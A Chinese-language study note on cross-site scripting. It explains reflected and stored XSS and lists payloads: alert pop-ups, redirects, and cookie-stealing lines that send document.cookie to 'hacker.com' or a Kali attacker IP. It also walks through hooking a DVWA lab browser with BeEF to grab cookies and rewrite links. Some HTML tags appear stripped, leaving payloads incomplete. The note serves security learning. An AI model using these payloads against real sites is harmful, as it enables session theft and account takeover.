最近一直在反复练习之前学的一些漏洞,没学习新的漏洞,不能继续这样下去。因此也是选择踏入学习一下xss,简单理解了一些xss概念,具体怎么运用还没有做过类似的题,以后遇到的话会继续整理一下。这篇文章简单介绍了一下xss原理,和一些payload
从哔哩哔哩红蓝安全学习笔记:
1.xss简介跨站脚本( cross site script )为了避免与样式css混淆,所以简称为xss。
xss是一种经常出现在web应用当中的计算机安全漏洞,也是web中最主流攻击方式。那么什么是xss呢?
xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加了一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
xss的攻击危害包括:
1. 盗取各类用户账号,如机器登陆账号,用户网银账号、各类管理员账号;
2. 控制企业数据,包括读取、篡改、添加,删除企业敏感数据的能力;
3. 盗窃企业重要的具有商业价值的资料;
4. 非法转账;
5. 强制发送电子邮件;
6. 网站挂🐎;
7. 控制受害者机器向其他网站发起攻击。
2.原理分析 反射型xss原理xss主要原因:
过于信任客户端所提交的数据!
xss主要分类:
反射型xss攻击( Reflected XSS ),又称为非持久型跨站点脚本攻击,它是最常见类型的xss。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性xss包含一个带xss攻击向量的链接(即每次攻击需要用户的点击)。
存储型xss攻击( Stored XSS ),又称为持久型跨站点脚本攻击,他一般发生在xss攻击向量(一般指xss攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的xss比非持久型xss攻击危害更大。因为每当用户打开页面时,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受过攻击。
3.构造XSS脚本 3.1 常用html标签iframe 元素会创建包含另外一个文档的内联框架( 即行内框架 )
标签定义多行的文本输入控件
img 元素向网页中嵌入一幅图像
标签用于定义客户端脚本,比如 JavaScript .
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本.
必须的 type 属性规定脚本的 MIME 类型.
JavaScript 的常见应用时图像操作、表单验证以及动态内容更新.
3.2 常用JavaScript方法alert alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框
window.location window.location 对象用于获得当前页面的地址(URL),并把浏览器重定
向到新的页面
location.href 返回当前显示的文档的完整 URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时发生错误
3.3 构造xss脚本弹框警告
此脚本实现弹框显示,一般作为漏洞测试或演示使用,类似sql注入漏洞里的单引号',一旦脚本被执行,也就意味着后端服务器没有对特殊字符进行过滤/' 这样就可以证明,这个页面位置存在了XSS漏洞。
alert('xss')
alert(document.cookie)
页面嵌套
即嵌入了自己的博客 。如果width=0,height=0,border=0,嵌入仍然成功但是你看不见.
页面重定向
window.loaction="http://www.baidu.com"
location.href="http://www.baidu.com"
输入即跳转到www.baidu.com页面
弹框警告并重定向
alert("请移步到我们的新站");location.href="http://www.baidu.com"
alert('xss');location.href="http://www.baidu.com"
访问恶意代码
#结合BeEF收集用户的cookie
巧用图片标签
script太明显的脚本了。
绕开过滤的脚本
大小写:alert('xss')
字符编码 采用url、base64等编码
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页。
window.open("http://hacker.com/cookie.php?cookie="+document.cookie)
document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie)
root@kali:~# chown -R www-data.com /var/www/
通过渗透机植入XSS代码:
window.open("http://***.***.***.***/cookie_rec.php?cookie="+document.cookie)
注:***.***.***.***为 kali Linux IP
注:先清除之前植入的XSS代码
6. Dom型 7. 自动化XSS 7.1 BeFF简介Browser Exploitation Framework(BeFF)
BeFF 是目前最大的浏览器开源渗透测试框架,通过XSS漏洞配和JS脚本和Metasploit进行渗透;
基于Ruby语言编写,支持图形化界面,操作简单;
http://beefproject.com/
信息收集:
1. 网络发现
2. 主机信息
3. Cookie获取
4. 会话劫持
5. 键盘记录
6. 插件信息
持久化控制:
1. 确认弹框
2.
6.2 BeFF基础kali下载BeFF:
sudo apt-get install beef-xss
运行beef-xss
beef-xss
输入设置的密码即可。(不可见)
启动Apache和BeFF:
root@kali:~# service apache2 start
详细使用信息:浏览器攻击框架BeEF Part 1 - FreeBuf网络安全行业门户
6.3 信息收集在dvwa靶场测试:
发现前端对长度进行限制,这是没用的,我们用查看器定位到代码所在位置,更改maxlength
有个关键的脚本
注意这个127.0.0.1ip地址要改为自己本机的ip地址,比如192.168.1.1,就是你beef配置的ip
例如写入:
空白,代码被执行,查看beef页面肉鸡是否上线
上线成功
之后我们可以用commands那,来执行命令获取信息。
命令颜色:
绿色:对目标主机生效并且不可见(不会被发现);
橙色:对目标主机生效但可能可见(可能会被发现);
灰色:对目标主机未必生效(可以验证一下)
红色:对目标主机不生效
例如getcookie命令:
execute之后,获得了对方的cookie
Link Rewtite命令:
命令被执行,发现我们每个按钮左下角链接都换成了我博客的地址,随意点一个都会重定向到我的博客。
Link Rewrite()命令:
这个比上一个更高级一些。
左下角显示正常,但是当你点击时,会重定向到我的博客的url。
还有好多功能,自己试一下就知到了。社会工程学里也有好多有趣的